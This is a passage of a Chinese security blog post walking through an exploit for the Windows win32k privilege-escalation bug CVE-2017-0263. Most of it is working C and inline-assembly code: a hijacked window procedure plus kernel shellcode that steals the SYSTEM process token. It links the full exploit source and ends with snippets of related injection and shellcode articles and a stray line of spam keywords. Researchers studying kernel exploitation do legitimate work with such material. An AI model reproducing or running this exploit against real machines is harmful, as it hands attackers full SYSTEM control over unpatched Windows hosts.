    因此,在執行ShellCode的時候,應當把tagCLS的lpszMenuName成員清空。此時的ShellCode是以結構體的形式定義的,定義如下,其中成員pfnWinProc保存了要執行的ShellCode,tagCLS保存了上面創建的大量窗口的tagCLS:

    typedef struct _SHELLCODE {    DWORD reserved;                    // 0x0    DWORD pid;                     // 0x4    DWORD off_CLS_lpszMenuName;        // 0x8    DWORD off_THREADINFO_ppi;      // 0xC    DWORD off_EPROCESS_ActiveLink; // 0x10    DWORD off_EPROCESS_Token;      // 0x14    PVOID tagCLS[0x100];           // 0x18    BYTE pfnWinProc[0xBE8];            // 0x418}SHELLCODE, *PSHELLCODE;
    


    此時通過以下代碼就可以指定向窗口發送消息時候,在內核模式下執行ShellCode,同時在ShellCode的上方保存了要用到的數據。

            PSHELLCODE pvShellCode = (PSHELLCODE)VirtualAlloc(NULL,                                                      PAGE_SIZE,                                                      MEM_COMMIT | MEM_RESERVE,                                                      PAGE_EXECUTE_READWRITE);     if (!pvShellCode)    {        ShowError("VirtualAlloc", GetLastError());        bRet = FALSE;        goto exit;    }     ZeroMemory(pvShellCode, PAGE_SIZE);    pvShellCode->pid = GetCurrentProcessId();    pvShellCode->off_CLS_lpszMenuName = 0x50;    pvShellCode->off_THREADINFO_ppi = 0x0B8;    pvShellCode->off_EPROCESS_ActiveLink = 0x0B8;    pvShellCode->off_EPROCESS_Token = 0x0F8;     CopyMemory(pvShellCode->pfnWinProc, ShellCode_CVE_2017_0263, 0xBE0);     lHMValidateHandle HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();    if (!HMValidateHandle)    {        bRet = FALSE;        goto exit;    }     // 保存tagCLS的地址    for (i = 0; i < g_dwWindowCount_2017_0263; i++)    {        pvShellCode->tagCLS[i] = *(PVOID *)((PBYTE)HMValidateHandle(g_hWindowList_2017_0263[i], TYPE_WINDOW) + 0x64);    }     DWORD dwOldProtect = 0;     if (!VirtualProtect(pvShellCode, PAGE_SIZE, PAGE_EXECUTE_READ, &dwOldProtect))    {        ShowError("VirtualProtect", GetLastError());        bRet = FALSE;        goto exit;    }         // 指定窗口的消息處理例程    SetWindowLongW(g_hWindowHunt_2017_0263, GWL_WNDPROC, (DWORD)pvShellCode->pfnWinProc);
    

    在ShellCode中要找到會被釋放的tagPOPUPMENU,所以在事件處理函數中,要對其內存地址進行記錄,此時的事件處理例程如下,保存的tagPOPUPMENU對象地址,在發送消息的時候將作為參數進行傳遞:

    VOID CALLBACK WinEventProc_CVE_2017_0263(HWINEVENTHOOK hWinEventHook,                                         DWORD         event,                                         HWND          hwnd,                                         LONG          idObject,                                         LONG          idChild,                                         DWORD         idEventThread,                                         DWORD         dwmsEventTime){    if (g_dwCount_2017_0263 == 0)    {        lHMValidateHandle HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();        // 獲取tagPOPUPMENU對象地址        g_dwPopupMenuRoot_2017_0263 = *(PDWORD)((PBYTE)HMValidateHandle(hwnd, TYPE_WINDOW) + 0xb0);    }     if (++g_dwCount_2017_0263 >= 2)    {        // 發送銷毀菜單消息        SendMessage(hwnd, MN_ENDMENU, 0, 0);    }    else    {        // 發生鼠標左鍵按下消息        SendMessage(hwnd, WM_LBUTTONDOWN, 1, 0x00020002); // (2,2)    }}
    


    要執行的ShellCode代碼如下,在內核模式下處理的消息例程第一個參數是窗口句柄,其他是一樣的。ShellCode會判斷是否是0x9F9F消息,以及是否是內核模式下運行,如果不是就執行失敗。如果是,通過call下一條指令的方式獲取當前的eip,因為執行的ShellCode是保存在SHELLCODE結構體最后,所以通過當前已經運行的字節數和SHELLCODE結構體前面幾個成員的大小獲取SHELLCODE結構體的首地址。通過SHELLCODE結構體中保存的tagCLS和傳入的參數來處理會被釋放的tagPOPUPMENU內存,防止線程退出時出現BSOD。

    獲取EPROCESS的時候,需要用到tagTHREADINFO的ppi成員,該成員可以找到相應的EPROCESS。而Token對象的引用計數的增加,則是通過增加Token對象的對象頭的PointerCount實現的。

    0: kd> dt win32k!tagTHREADINFO   +0x0b8 ppi              : Ptr32 tagPROCESSINFO2: kd> dt win32k!tagPROCESSINFO   +0x000 Process          : Ptr32 _EPROCESS1: kd> dt _OBJECT_HEADERnt!_OBJECT_HEADER   +0x000 PointerCount     : Int4B   +0x004 HandleCount      : Int4B   +0x004 NextToFree       : Ptr32 Void   +0x008 Lock             : _EX_PUSH_LOCK   +0x00c TypeIndex        : UChar   +0x00d TraceFlags       : UChar   +0x00e InfoMask         : UChar   +0x00f Flags            : UChar   +0x010 ObjectCreateInfo : Ptr32 _OBJECT_CREATE_INFORMATION   +0x010 QuotaBlockCharged : Ptr32 Void   +0x014 SecurityDescriptor : Ptr32 Void   +0x018 Body             : _QUAD
    



    DWORD __declspec(naked) ShellCode_CVE_2017_0263(HWND hWnd, int code, WPARAM wParam, LPARAM lParam){    __asm    {        push ebp        mov ebp, esp         // 如果消息不是0x9F9F,函數退出        mov eax, dword ptr[ebp + 0xC]        cmp eax, 0x9F9F        jne LocFAILED         // 如果cs的值為0x1B則是用戶模式(這里判斷低2位是否為0就可以),函數退出        mov ax, cs        cmp ax, 0x1B        je LocFAILED         // 將bDialogWindow標志位自增        cld        // ecx = tagWND        mov ecx, dword ptr [ebp + 8]        inc dword ptr [ecx + 0x16]         pushad        // 通過當前EIP首地址獲取SHELLCODE對象的首地址        call $5    $5:        pop edx        sub edx, 0x443                 //  將tagCLS數組與參數wParam的tagPOPUPMENU對比        mov ebx, 0x100        // esi = SHELLCODE->tagCLS        lea esi, [edx + 0x18]        // edi = tagPOPUPMENU        mov edi, dword ptr[ebp + 0x10]     LocForCLS:        test ebx, ebx        je LocGetEPROCESS        // 獲取tagCLS中非0的數值        lods dword ptr [esi]        dec ebx        cmp eax, 0        je LocForCLS        // 獲取tagCLS->lpszMenuName        add eax, dword ptr [edx + 8]        // 比較是否是符合條件的tagCLS        cmp dword ptr [eax], edi        jne LocForCLS        // 不符合則清空        and dword ptr [eax], 0        jmp LocForCLS     LocGetEPROCESS:        // ecx = tagWND->pti        mov ecx, dword ptr [ecx + 8]        // ebx = SHELLCODE->off_THREADINFO_ppi        mov ebx, dword ptr [edx + 0x0C]        // ecx = tagTHREADINFO->ppi        mov ecx, dword ptr [ebx + ecx]        // ecx = tagPROCESSINFO->EPROCESS        mov ecx, dword ptr [ecx]        // ebx = SHELLCODE->off_EPROCESS_ActiveLink        mov ebx, dword ptr [edx + 0x10]        // eax = SHELLCODE->pid        mov eax, dword ptr [edx + 4]         push ecx    LocForCurrentPROCESS :        // 判斷PID是否是當前進程PID        cmp dword ptr [ebx + ecx - 4], eax        je LocFoundCURRENT        // 取下一進程EPROCESS        mov ecx, dword ptr [ebx + ecx]        sub ecx, ebx        jmp LocForCurrentPROCESS             LocFoundCURRENT:        // 將找到的EPROCESS賦給edi        mov  edi, ecx        pop  ecx     LocForSystemPROCESS:        // 判斷EPROCESS的PID是否為4        cmp dword ptr [ebx + ecx - 4], 4        je LocFoundSYSTEM        // 取下一進程EPROCESS        mov ecx, dword ptr [ebx + ecx]        sub ecx, ebx        jmp LocForSystemPROCESS     LocFoundSYSTEM:        // 將SYSTEM進程EPROCESS賦給esi        mov esi, ecx         // eax=SHELLCODE->off_EPROCESS_Token        mov eax, dword ptr [edx + 0x14]        // 當前進程和系統進程EPROCESS指向TOKEN        add esi, eax        add edi, eax        // 將系統進程TOKEN賦值給當前進程的TOKEN        lods dword ptr[esi]        stos dword ptr es:[edi]         // 將系統進程TOKEN對象的PointerCount + 2,即增加引用計數        and eax, 0x0FFFFFFF8        add dword ptr[eax - 0x18], 2         popad        // 提權成功,返回值設為0x9F9F        mov eax, 0x9F9F        jmp LocRETURN     LocFAILED:        // 提權失敗,返回值設為1        mov eax, 1    LocRETURN:        leave        ret 0x10    }}
    


    運行結果

    最后還有一個坑,這個漏洞要通過創建新線程來提權,否則主線程會直接卡死,完整代碼在https://github.com/LegendSaber/exp/blob/master/exp/CVE-2017-0263.cpp

    編譯運行exp,最終就會成功提權:

    參考資料

    • https://www.anquanke.com/post/id/102377
    • https://www.anquanke.com/post/id/102378
    • https://xz.aliyun.com/t/9287
    函數調用dword
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    近期有使用手機投屏的需求,用過幾個小工具感覺效果不是很理想,所以想著著手分析下。
    概述在windows系統上,涉及到內核對象的功能函數,都需要從應用層權限轉換到內核層權限,然后再執行想要的內核函數,最終將函數結果返回給應用層。本文就是用OpenProcess函數來觀察函數從應用層到內核層的整體調用流程。OpenProcess函數,根據指定的進程ID,返回進程句柄。NTSTATUS Status; //保存函數執行狀態。OBJECT_ATTRIBUTES Obja; //待打開對象的對象屬性。HANDLE Handle; //存儲打開的句柄。CLIENT_ID ClientId; //進程、線程ID. dwDesiredAccess, //預打開進程并獲取對應的權限。ObjectNamePresent = ARGUMENT_PRESENT ; //判斷對象名稱是否為空
    關于堆棧ShellCode操作:基礎理論002-利用fs寄存器尋找當前程序dll的入口:從動態運行的程序中定位所需dll003-尋找大兵LoadLibraryA:從定位到的dll中尋找所需函數地址004-被截斷的shellCode:加解密,解決shellCode的零字截斷問題
    EXP編寫學習之繞過GS
    2023-02-20 09:58:16
    棧中的守護天使 :GSGS原理向棧內壓入一個隨機的DWORD值,這個隨機數被稱為canary ,IDA稱為 Security Cookie。Security Cookie 放入 ebp前,并且data節中存放一個 Security Cookie的副本。棧中發生溢出時,Security Cookie首先被淹沒,之后才是ebp和返回地址。函數返回之前,會添加一個Security Cookie驗證操作,稱為Security Check。檢測到溢出時,系統將進入異常處理流程,函數不會正常返回,ret也不會被執行。函數使用無保護的關鍵字標記。緩沖區不是8字節類型 且 大小不大于4個字節。可以為函數強制啟用GS。
    該漏洞發生的位置是在驅動文件Win32k.sys中的xxxHandleMenuMessage函數,產生的原因是沒有對該函數中調用的xxxMNFindWindowFromPoint函數的返回值進行合法性驗證,直接將其作為參數傳遞給后面的xxxSendMessage函數調用,從而造成了提權漏洞。
    反射式DLL注入實現
    2022-05-13 15:59:21
    反射式dll注入與常規dll注入類似,而不同的地方在于反射式dll注入技術自己實現了一個reflective loader()函數來代替LoadLibaryA()函數去加載dll,示意圖如下圖所示。藍色的線表示與用常規dll注入相同的步驟,紅框中的是reflective loader()函數行為,也是下面重點描述的地方。
    在所有函數調用發生時,向棧幀內壓入一個額外的隨機 DWORD,隨機數標注為“SecurityCookie”。在函數返回之前,系統將執行一個額外的安全驗證操作,被稱做 Security check。
    MITM Fuzz下圖是用戶層與內核層實現通信的過程,可以看到,最后是通過NtDeviceIoControlFile來分發給相應驅動對象的派遣函數的,因此,可以通過對該函數進行HOOK操作。如果將修改以后的數據發送給NtDeviceIoControlFile函數以后,發生了內核崩潰或藍屏,往往預示著該驅動程序可能存在內核漏洞。
    當線程從等待狀態蘇醒后,會自動檢測自己得APC隊列中是否存在APC過程。所以只需要將目標進程的線程的APC隊列里面添加APC過程,當然為了提高命中率可以向進程的所有線程中添加APC過程。然后促使線程從休眠中恢復就可以實現APC注入。往線程APC隊列添加APC,系統會產生一個軟中斷。第二個參數表示插入APC的線程句柄,要求線程句柄必須包含THREAD_SET_CONTEXT訪問權限。第三個參數表示傳遞給執行函數的參數。如果直接傳入shellcode不設置第三個函數,可以直接執行shellcode。
    shellcode編寫探究
    2022-06-09 15:34:57
    前言shellcode是不依賴環境,放到任何地方都可以執行的機器碼。shellcode的應用場景很多,本文不研究shellcode的具體應用,而只是研究編寫一個shellcode需要掌握哪些知識。要使用字符串,需要使用字符數組。所以我們需要用到 LoadLibrary 和 GetProcAddress 這兩個函數,來動態獲取系統API的函數指針。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类